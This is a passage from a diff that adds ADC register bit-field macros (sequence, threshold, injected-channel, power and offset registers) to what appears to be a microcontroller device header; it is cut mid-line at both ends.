(0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << 